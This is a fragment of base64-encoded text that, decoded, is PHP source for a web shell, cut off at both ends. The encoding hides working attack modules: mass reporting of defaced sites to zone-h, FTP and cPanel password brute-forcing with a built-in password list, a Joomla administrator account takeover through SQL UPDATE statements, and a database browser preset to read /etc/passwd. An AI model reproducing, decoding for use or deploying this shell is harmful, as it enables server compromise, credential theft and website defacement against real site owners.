zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXNxbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlP